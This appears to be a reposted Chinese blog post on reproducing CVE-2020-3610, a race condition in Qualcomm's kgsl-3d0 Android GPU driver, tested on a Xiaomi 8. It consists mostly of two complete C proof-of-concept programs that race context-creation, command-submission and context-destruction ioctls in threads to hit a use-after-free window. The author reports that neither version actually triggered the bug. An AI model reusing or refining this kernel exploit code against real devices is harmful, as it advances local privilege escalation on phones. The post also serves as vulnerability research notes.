CVE-2020-3610
程序员文章站
2022-07-15 16:02:04
...
CVE-2020-3610
0x00 前言
这个漏洞是高通安全通告2020年5月的一个内核驱动kgsl-3d0的race condition漏洞, 我的poc并没有触发这个漏洞,但是根据Android的系统日志来看,我确实到达了漏洞函数处,我觉得根本原因应该是该漏洞的窗口期很小,然后释放的时候又是调用内核线程来异步释放的,所以很难真正的线程竞争成功,Android真机无法动态调试也是真难受,在此只是简单记录一下。
0x01 环境
小米8,sdm845,MIUI11.0.4稳定版,Android 9,内核版本4.9.112
0x02 主要的思路
细节很多就不展示了,核心的函数部分画了个思维导图:
0x03 未触发漏洞的poc
poc写了两个版本,第一版是我自己的思路,第二版是slipper师傅给我指点思路后,让我根据系统的时间片轮转算法来调整,主要原因是进行free操作时,会进行自旋锁,自旋锁会让等待的线程的优先级提升,从而有更大的几率触发漏洞。
ps:跑poc注意编译器,不同的Android kernel版本需要不同的编译器,我的系统这儿用的是aarch64-linux-android28-clang
自己的poc:
#include <linux/types.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <unistd.h>
#define KGSL_IOC_TYPE 0x09
#define IOCTL_KGSL_SUBMIT_COMMANDS \
_IOWR(KGSL_IOC_TYPE, 0x3D, struct kgsl_submit_commands)
#define IOCTL_KGSL_DRAWCTXT_CREATE \
_IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
#define IOCTL_KGSL_DRAWCTXT_DESTROY \
_IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy)
#define KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP 0
#define KGSL_CONTEXT_USER_GENERATED_TS 0x00000080
#define KGSL_CMDBATCH_SYNC 0x400
#define e_num 32
//IOCTL_KGSL_SUBMIT_COMMANDS
struct kgsl_submit_commands {
unsigned int context_id;
unsigned int flags;
struct kgsl_ibdesc *cmdlist;
unsigned int numcmds;
struct kgsl_cmd_syncpoint *synclist;
unsigned int numsyncs;
unsigned int timestam;
/* private: reserved for future use */
unsigned int __pad[4];
};
//struct of cmdlist
struct kgsl_ibdesc {
unsigned long gpuaddr;
unsigned long __pad;
size_t sizedwords;
unsigned int ctrl;
};
//struct of synclist
struct kgsl_cmd_syncpoint {
int type;
void *priv;
size_t size;
};
//size of kgsl_cmd_syncpoint need to be this
struct kgsl_cmd_syncpoint_timestamp {
unsigned int context_id;
unsigned int timestamp;
};
//create a drawctxt for context of driver, IOCTL_KGSL_DRAWCTXT_CREATE
struct kgsl_drawctxt_create {
unsigned int flags;
unsigned int drawctxt_id; /*output param */
};
//dsetroy a drawctxt for context of driver,IOCTL_KGSL_DRAWCTXT_DESTROY
struct kgsl_drawctxt_destroy {
unsigned int drawctxt_id;
};
//param of create_one
struct usings{
int fd;
unsigned int context_id;
unsigned int another_id;
size_t size;
int sleep_time;
};
//param of destroy_context_to_driver
struct for_destroy{
int fd;
unsigned int context_id;
int thread_id;
};
unsigned int create_context_to_driver(int fd){
struct kgsl_drawctxt_create kdc;
int flag=-100;
memset(&kdc,0,sizeof(struct kgsl_drawctxt_create));
kdc.flags=32505938; //0 000 11111 0000 0000 0000 0101 0010
flag=ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE,&kdc);
printf("<>context build+%d\n",flag);
return kdc.drawctxt_id;
}
void* destroy_context_to_driver(void *arg){
struct kgsl_drawctxt_destroy kdd;
int flag=100;
struct for_destroy *d_info=(struct for_destroy*)arg;
memset(&kdd,0,sizeof(struct kgsl_drawctxt_destroy));
kdd.drawctxt_id=d_info->context_id;
printf("<%d>context destroy start++++\n",d_info->thread_id);
//usleep(1);
flag=ioctl(d_info->fd,IOCTL_KGSL_DRAWCTXT_DESTROY,&kdd);
printf("<%d>context destroy++++ %d\n",d_info->thread_id,flag);
return (void *)NULL;
}
//create a drawobj to makesure i!=0
void *create_one(void *arg){
struct kgsl_submit_commands ksc;
struct kgsl_ibdesc ki;
struct kgsl_cmd_syncpoint kcs[e_num];
struct kgsl_cmd_syncpoint_timestamp kcst[e_num];
struct kgsl_ibdesc *cmdlist=&ki;
struct usings *my_use = (struct usings *)arg;
int flag=-100;
memset(&ksc,0,sizeof(struct kgsl_submit_commands));
memset(cmdlist,0,sizeof(struct kgsl_ibdesc));
memset(kcs,0,sizeof(struct kgsl_cmd_syncpoint)*e_num);
memset(&kcst ,0,sizeof(struct kgsl_cmd_syncpoint_timestamp));
//create 32 events,kgsl_cmd_syncpoint is struct of event
usleep(5);
for(int i=0;i<e_num-2;i++){
kcst[i].timestamp=my_use->sleep_time;
kcst[i].context_id=my_use->context_id;
kcs[i].type=KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP;
kcs[i].size=my_use->size;
kcs[i].priv=&kcst[i];
}
kcst[e_num-2].timestamp=0;
printf("%d\n",kcst[e_num-2].timestamp);
kcst[e_num-2].context_id=my_use->another_id;
kcs[e_num-2].type=KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP;
kcs[e_num-2].size=my_use->size;
kcs[e_num-2].priv=&kcst[e_num-2];
kcst[e_num-1].timestamp=1000;
printf("%d\n",kcst[e_num-1].timestamp);
kcst[e_num-1].context_id=my_use->context_id;
kcs[e_num-1].type=KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP;
kcs[e_num-1].size=my_use->size;
kcs[e_num-1].priv=&kcst[e_num-1];
//kgsl_submit_commands
ksc.cmdlist=cmdlist;
ksc.synclist=kcs;
ksc.numcmds=0;
ksc.flags=KGSL_CMDBATCH_SYNC;
ksc.numsyncs=e_num; //number of event
ksc.context_id=my_use->context_id;
ksc.timestam=1;
//sleep(my_use->sleep_time);
//printf("in thread\n");
//printf("<%d>submit run start----\n",my_use->sleep_time);
flag=ioctl(my_use->fd,IOCTL_KGSL_SUBMIT_COMMANDS,&ksc);
//printf("<%d>submit run over---- %d\n",my_use->sleep_time,flag);
return (void *)NULL;
}
int main(void){
int fd;
int t_r1=-1000;
int t_r2=-1000;
unsigned int context_id;
unsigned int another_id;
pthread_t p1;
pthread_t p2;
struct usings u1;
struct usings u2;
struct usings u3;
struct for_destroy dd1;
struct for_destroy dd2;
void *(*kk)(void *);
kk=&create_one;
void *(*ds)(void *);
ds=&destroy_context_to_driver;
fd=open("/dev/kgsl-3d0",O_RDWR);
if(fd==-1){
perror("open");
return -1;
}
long long i=0;
while(1){
printf("------------>%lld<-------------->start\n",i);
t_r1=-1000;
t_r2=-1000;
context_id=create_context_to_driver(fd);
another_id=create_context_to_driver(fd);
printf("context_id=%d;\nanother_id=%d;\n",context_id,another_id);
u1.context_id=context_id;
u1.another_id=another_id;
u1.fd=fd;
u1.size=sizeof(struct kgsl_cmd_syncpoint_timestamp);
u1.sleep_time=0;
u2.context_id=context_id;
u2.another_id=another_id;
u2.fd=fd;
u2.size=sizeof(struct kgsl_cmd_syncpoint_timestamp);
u2.sleep_time=0;
u3.context_id=context_id;
u3.another_id=another_id;
u3.fd=fd;
u3.size=0;
u3.sleep_time=3;
dd1.context_id=another_id;
dd1.fd=fd;
dd1.thread_id=1;
dd2.context_id=context_id;
dd2.fd=fd;
dd2.thread_id=2;
//create_one(&u1);
//pthread_create(&p2,NULL,ds,&dd);
printf("@@race start!!\n");
t_r2=pthread_create(&p2,NULL,ds,&dd1);
if(t_r2!=0){
printf("thread-%d false!!!\n",dd1.thread_id);
}
t_r1=pthread_create(&p1,NULL,kk,&u1);
if(t_r1!=0){
printf("thread-%d false!!!\n",u1.sleep_time);
}
//pthread_create(&p2,NULL,ds,&dd2);
//create_one(&u1);
//destroy_context_to_driver(&dd);
//create_one(&u2);
printf("thread0 run over-- %d\n",pthread_join(p1,NULL));
printf("thread1 run over-- %d\n",pthread_join(p2,NULL));
//sleep(1);
destroy_context_to_driver(&dd2);
printf("------------>%lld<-------------->over\n\n",i);
i++;
}
//create_one(&u1);
//printf("first success----\n");
//pthread_create(&p1,NULL,kk,&u2);
//destroy_context_to_driver(&dd);
//sleep(1);
printf("finish\n");
}
调整之后的poc:
#include <linux/types.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <unistd.h>
#define KGSL_IOC_TYPE 0x09
#define IOCTL_KGSL_SUBMIT_COMMANDS \
_IOWR(KGSL_IOC_TYPE, 0x3D, struct kgsl_submit_commands)
#define IOCTL_KGSL_DRAWCTXT_CREATE \
_IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
#define IOCTL_KGSL_DRAWCTXT_DESTROY \
_IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy)
#define KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP 0
#define KGSL_CONTEXT_USER_GENERATED_TS 0x00000080
#define KGSL_CMDBATCH_SYNC 0x400
#define e_num 32
unsigned int context_id=1000;
unsigned int another_id=1000;
int fd;
//IOCTL_KGSL_SUBMIT_COMMANDS
struct kgsl_submit_commands {
unsigned int context_id;
unsigned int flags;
struct kgsl_ibdesc *cmdlist;
unsigned int numcmds;
struct kgsl_cmd_syncpoint *synclist;
unsigned int numsyncs;
unsigned int timestam;
/* private: reserved for future use */
unsigned int __pad[4];
};
//struct of cmdlist
struct kgsl_ibdesc {
unsigned long gpuaddr;
unsigned long __pad;
size_t sizedwords;
unsigned int ctrl;
};
//struct of synclist
struct kgsl_cmd_syncpoint {
int type;
void *priv;
size_t size;
};
//size of kgsl_cmd_syncpoint need to be this
struct kgsl_cmd_syncpoint_timestamp {
unsigned int context_id;
unsigned int timestamp;
};
//create a drawctxt for context of driver, IOCTL_KGSL_DRAWCTXT_CREATE
struct kgsl_drawctxt_create {
unsigned int flags;
unsigned int drawctxt_id; /*output param */
};
//dsetroy a drawctxt for context of driver,IOCTL_KGSL_DRAWCTXT_DESTROY
struct kgsl_drawctxt_destroy {
unsigned int drawctxt_id;
};
//create a context
unsigned int create_context_to_driver(int fd){
struct kgsl_drawctxt_create kdc;
int flag=-100;
memset(&kdc,0,sizeof(struct kgsl_drawctxt_create));
kdc.flags=32505938; //0 000 11111 0000 0000 0000 0101 0010
flag=ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE,&kdc);
printf("<>context build+%d\n",flag);
return kdc.drawctxt_id;
}
//destroy a context
void* destroy_context_to_driver(void *arg){
struct kgsl_drawctxt_destroy *kdd=(struct kgsl_drawctxt_destroy *)arg;
int flag1=100;
flag1=ioctl(fd,IOCTL_KGSL_DRAWCTXT_DESTROY,kdd);
printf("context destroy++++ %d\n",flag1);
return (void *)NULL;
}
//create a drawobj to makesure i!=0
void *create_one(void *arg){
struct kgsl_submit_commands ksc;
struct kgsl_ibdesc ki;
struct kgsl_cmd_syncpoint kcs[e_num];
struct kgsl_cmd_syncpoint_timestamp kcst[e_num];
struct kgsl_ibdesc *cmdlist=&ki;
//struct usings *my_use = (struct usings *)arg;
memset(&ksc,0,sizeof(struct kgsl_submit_commands));
memset(cmdlist,0,sizeof(struct kgsl_ibdesc));
memset(kcs,0,sizeof(struct kgsl_cmd_syncpoint)*e_num);
memset(&kcst ,0,sizeof(struct kgsl_cmd_syncpoint_timestamp));
//create 32 events,kgsl_cmd_syncpoint is struct of event
for(int i=0;i<e_num-2;i++){
kcst[i].timestamp=0;
kcst[i].context_id=another_id;
kcs[i].type=KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP;
kcs[i].size=sizeof(struct kgsl_cmd_syncpoint_timestamp);
kcs[i].priv=&kcst[i];
}
kcst[e_num-2].timestamp=0;
printf("%d\n",kcst[e_num-2].timestamp);
kcst[e_num-2].context_id=another_id;
kcs[e_num-2].type=KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP;
kcs[e_num-2].size=sizeof(struct kgsl_cmd_syncpoint_timestamp);
kcs[e_num-2].priv=&kcst[e_num-2];
kcst[e_num-1].timestamp=666;
printf("%d\n",kcst[e_num-1].timestamp);
kcst[e_num-1].context_id=context_id;
kcs[e_num-1].type=KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP;
kcs[e_num-1].size=sizeof(struct kgsl_cmd_syncpoint_timestamp);
kcs[e_num-1].priv=&kcst[e_num-1];
//kgsl_submit_commands
ksc.cmdlist=cmdlist;
ksc.synclist=kcs;
ksc.numcmds=0;
ksc.flags=KGSL_CMDBATCH_SYNC;
ksc.numsyncs=e_num; //number of event
ksc.context_id=context_id;
ksc.timestam=1;
int flag=-100;
while(1){
flag=ioctl(fd,IOCTL_KGSL_SUBMIT_COMMANDS,&ksc);
printf("submit run over---- %d\n",flag);
flag=-100;
}
return (void *)NULL;
}
int main(void){
int t_r1=-1000;
int t_r2=-1000;
pthread_t p1;
pthread_t p2;
void *(*kk)(void *);
kk=&create_one;
void *(*ds)(void *);
ds=&destroy_context_to_driver;
struct kgsl_submit_commands ksc;
struct kgsl_drawctxt_destroy kdd;
fd=open("/dev/kgsl-3d0",O_RDWR);
if(fd==-1){
perror("open");
return -1;
}
//create context
context_id=create_context_to_driver(fd);
another_id=create_context_to_driver(fd);
printf("context_id=%d;\nanother_id=%d;\n",context_id,another_id);
//ksc=prepare_create_one_struct(NULL);
kdd.drawctxt_id=another_id;
printf("@@race start!!\n");
t_r1=pthread_create(&p1,NULL,kk,&ksc);
if(t_r1!=0){
printf("thread false!!!\n");
}
while(1){
t_r2=pthread_create(&p2,NULL,ds,&kdd);
if(t_r2!=0){
printf("thread false!!!\n");
}
printf("thread1 run over-- %d\n",pthread_join(p2,NULL));
another_id=create_context_to_driver(fd);
kdd.drawctxt_id=another_id;
}
printf("thread0 run over-- %d\n",pthread_join(p1,NULL));
kdd.drawctxt_id=context_id;
destroy_context_to_driver(&kdd);
printf("finish\n");
}
上一篇: 剑指offer——构建乘积数组
下一篇: tinymce使用绝对路径
推荐阅读